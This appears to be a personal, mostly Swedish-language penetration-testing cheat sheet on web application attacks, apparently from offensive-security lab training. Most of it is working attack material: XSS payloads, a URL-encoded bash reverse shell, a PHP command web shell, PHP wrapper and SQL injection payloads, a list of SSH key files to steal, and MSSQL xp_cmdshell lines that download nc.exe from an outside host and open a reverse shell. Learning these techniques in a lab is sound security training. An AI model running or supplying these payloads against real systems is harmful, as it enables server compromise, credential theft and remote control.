5. Web Application Attacks

Cross-site-scripting (XSS)

Stored XSS Attacks:

Reflected XSS Attacks:

DOM-based XSS

XSS special characters:

< > ' " { } ;

XSS alert:

<script>alert(‘XSS’)</script>

Payloads:

"><img/src=x onerror=alert()>test
"><img/src=x onerror=confirm()>test
"><img/src=x onerror=prompt()>test

Exempel på privesc genom wordpress-plugin:

  1. Compressa javascript kod till ett block som kan slängas in för XSS med https://jscompress.com
  2. Konvertera sedan till UT16 karaktärer och skicka till burp med proxy genom curl med eval inuti skriptblock
  3. Sätt på burp intruder och fånga attacken och inspektera innan skickar attack
    Exempel:
    Pasted image 20230629162457.png

Local File Inclusion (LFI)

URL-enkodat reverse-shell (byt ut ip och port):

bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22

OBS:


Remote File Inclusion (RFI)

Innan kör webbshell kör phpinfo(); för att se versionering och disablade funktioner:
Pasted image 20230627150709.png

Köra kod på lokal maskin genom system i php:
Pasted image 20230627150908.png

Tillåt kommandon genom URLen:

<?php echo system($_GET['cmd']); ?>

Bra shells:
https://github.com/swisskyrepo/PayloadsAllTheThings


PHP Wrappers

http://mountaindeserts.com/meteor/index.php?page=php://filter/convert.base64-encode/resource=admin.php
http://mountaindeserts.com/meteor/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>

Var noga med absoluta paths från botten. Verkar inte funka med endast backup.php utan behöver vara /var/www/html/backup.php


Directory Traversal

Kolla version!!
SSH nycklar att stjäla i /home/user/.ssh/:

id_rsa
id_dsa
id_ecdsa
id_ecdsa_sk
id_ed25519
id_ed25519_sk

File Upload

Inget nytt egentligen.

En sak är att om man inte kan lyckas exekvera en uppladdad fil kan man eventuellt lyckas skriva över en fil som exekveras, eller en nyckel genom directory traversal, och komma in den vägen.

Viktigt!


OS Command Injection

Injektioner på ställen där user input inte saniteras väl.

One-liner för att enumerera om servern kör windows eller linux:

(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell

Vanliga separators:

&
&&
|
||
;
#
0x0a
\n
`command`
$(command)
command`

Viktigt!


SQL Injection

Basic query:

SELECT * FROM users WHERE user='admin'

Common Injection:

SELECT * FROM users WHERE user='admin' OR 1=1 -- //

Database variants:

mysql -u root -p'root' -h 192.168.195.16 -P 3306
---
show databases;
impacket-mssqlclient Administrator:Lab123@192.168.195.18 -windows-auth
---
SELECT name FROM sys.databases;

Error-based payloads:

Union-based payloads:

  1. Enumerera antalet kolumner genom:
' ORDER BY 1-- //
  1. Öka med ett tills att något inte funkar/kolumnen inte finns. Typ så här: Pasted image 20230704144150.png
  2. Spotta ut datan du vill ha i den injecerade queryn genom SELECT och skriv null om du inte behöver alla kolumner. Exempel:
%' UNION SELECT database(), user(), @@version, null, null -- //

Viktigt:

Blind SQL injections:

http://192.168.50.16/blindsqli.php?user=offsec' AND 1=1 -- //
http://192.168.50.16/blindsqli.php?user=offsec' AND IF (1=1, sleep(3),'false') -- //
# Förklaring: första item i if-funktionen är operationen, sen kommer om true och om false. Alltså om användare är offsec och 1=1 då sleep -- annars ej.
SQL Code Execution:

Manual Code Execution in MSSQL:

EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXECUTE xp_cmdshell 'whoami';

Manual Union Code Execution in MySQL:

' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //

Automatic Code Execution with SQLmap:

sqlmap -r burp_dump.txt -p item  --dump --os-shell  --web-root "/var/www/html/tmp"
EXEC xp_cmdshell "powershell.exe wget [http://192.168.45.231/nc.exe](http://192.168.45.231/nc.exe "http://192.168.45.231/nc.exe") -OutFile c:\Users\Public\nc.exe" EXEC xp_cmdshell "c:\Users\Public\nc.exe -e cmd.exe 192.168.45.231 4444"
'; EXECUTE xp_cmdshell 'powershell wget 192.168.45.198:80/nc.exe -OutFile C:\Users\Public\nc.exe'; --
'; EXECUTE xp_cmdshell 'C:\Users\Public\nc.exe -e cmd.exe 192.168.45.198 4444' -- //